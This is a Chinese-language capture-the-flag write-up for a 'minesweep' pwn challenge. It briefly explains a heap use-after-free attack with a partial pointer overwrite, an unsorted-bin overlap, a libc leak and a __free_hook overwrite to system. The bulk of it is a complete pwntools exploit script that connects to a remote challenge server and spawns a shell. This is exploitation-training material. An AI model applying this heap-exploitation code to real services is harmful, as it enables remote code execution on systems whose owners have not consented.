0x00 前言

这题最后做的我很坑,成功的莫名其妙,最后经过@poyoten师傅的指点,发现是libc搞混了。。。不过现在有点事,先写好回头在补。。。

0x01 解题

解题用了0day安全一书中的覆盖小端低字节实现绕过ALSR的操作,其中hero name字段本在堆上,UAF覆盖最低字节,让他指向一个unsorted bin,然后改写unsorted bin大小,顺便在相应大小后准备好prev_sizeprev_size==size的check。然后改写之后拿到一个overlap,覆盖棋盘数据的指针数组和内容本身(记录棋牌里的旁边的雷的数量,是否有雷,是否被踩过或者扫过)。这个时候,申请一个chunk,使得棋盘数据变成libc unsorted bin的leak,然后显示出来。但是只能显示一半,所以再通过覆写指针数组第一个指针的最低字节,使得它加上1,可以leak另一半。leak完之后就简单了,通过hero_name那个字段写__free_hook,然后留言/bin/sh\x00,getshell。

exp如下,详细解题过程到时候再补:

from pwn import *

g_local=True
context.log_level='debug'
if g_local:
	sh =process('./minesweep')#, env={'LD_PRELOAD':'./libc.so.6'})
	#gdb.attach(sh)
	UNSORTED_BIN_OFF = 0x3c4b78
	e = ELF('./libc-2.23.so')
	FREE_HOOK_OFF = e.symbols["__free_hook"]
	SYSTEM_OFF = e.symbols["system"]
else:
	sh = remote("139.199.99.130", 8686)
	#sh = remote("192.168.106.150", 9999)
	e=ELF('./libc.so.6.given')
	UNSORTED_BIN_OFF = 0x3c27b8
	FREE_HOOK_OFF = e.symbols["__free_hook"] + 0x1000
	SYSTEM_OFF = e.symbols["system"] + 0x1000

LEAK_OFF = 0x5a
LEAK_INTEVAL = 3

def send_num(num):
	sh.send(str(num) + "\x00\n")

def send_str(s):
	sh.send(s + "\x00\n")

def enter_back_game():
	send_num(1)
	ret = sh.recvuntil("*  *  *  *  *  *  *  *  \n----------------------\n")
	send_str("back")
	sh.recvuntil("$ ")
	return ret

def enter_out_game():
	send_num(1)
	sh.recvuntil("*  *  *  *  *  *  *  *  \n----------------------\n")
	send_str("out")
	sh.recvuntil("$ ")

def play_game_win(x,y,z,payload):
	send_num(1)
	sh.recvuntil("*  *  *  *  *  *  *  *  \n----------------------\n")

	send_str("explore")
	sh.recvuntil("input x,y,z\n")
	send_str(str(x) + "," + str(y) + "," + str(z))
	sh.recvuntil("leave your name,my hero\n")
	sh.send(payload + "\n")
	send_str("back")
	sh.recvuntil("$ ")


def feedback_bug(length, msg):
	send_num(2)
	sh.recvuntil("input the length of your feed back:")
	send_num(length)
	sh.send(msg)
	sh.recvuntil("$ ")

sh.recvuntil("$ ")
enter_out_game()
fake_struc1 = p64(0)
fake_struc1 += p64(1)
fake_struc1 += p64(0)
fake_struc1 += p64(1)
fake_struc1 += p64(0)
fake_struc1 += "\x98\n"
# heap arbitrary write, to change unsorted bin size

feedback_bug(0x30, fake_struc1)
feedback_bug(0x100, "A" * 0xff + "\n")
feedback_bug(0x100, p64(0x200) + "\n") # prev_size == size
feedback_bug(0x90, "A\n")
#prepare prev_size, put 0xa1 tp unsorted bin

play_game_win(1,1,3,p16((0x200) | 1))
feedback_bug(0xe0, "A" + "\n")
#change original * data to libc leak

fst_leak = enter_back_game()

feedback_bug(0xe0, "A" * 0xa0 + "\x91\n")
#change original 0x90 -> 0x91 to leak second half
snd_leak = enter_back_game()

print fst_leak + snd_leak

libc_addr = ord(fst_leak[LEAK_OFF])
libc_addr += ord(snd_leak[LEAK_OFF]) << 8
libc_addr += ord(fst_leak[LEAK_OFF + LEAK_INTEVAL]) << 16
libc_addr += ord(snd_leak[LEAK_OFF + LEAK_INTEVAL]) << 24
libc_addr += ord(fst_leak[LEAK_OFF + LEAK_INTEVAL * 2]) << 32
libc_addr += ord(snd_leak[LEAK_OFF + LEAK_INTEVAL * 2]) << 40
libc_addr -= UNSORTED_BIN_OFF
print hex(libc_addr)
print hex(e.symbols["__free_hook"])
print hex(e.symbols["system"])
fake_struc1 = p64(0)
fake_struc1 += p64(1)
fake_struc1 += p64(0)
fake_struc1 += p64(1)
fake_struc1 += p64(0)
fake_struc1 += p64(libc_addr + FREE_HOOK_OFF)


feedback_bug(0x31, fake_struc1 + "\n")
feedback_bug(0x90, "A\n")
sh.interactive()
play_game_win(1,1,3, p64(libc_addr + SYSTEM_OFF))


send_num(2)
sh.recvuntil("input the length of your feed back:")
send_num(0x30)
sh.send("/bin/sh\x00\n")
sh.interactive()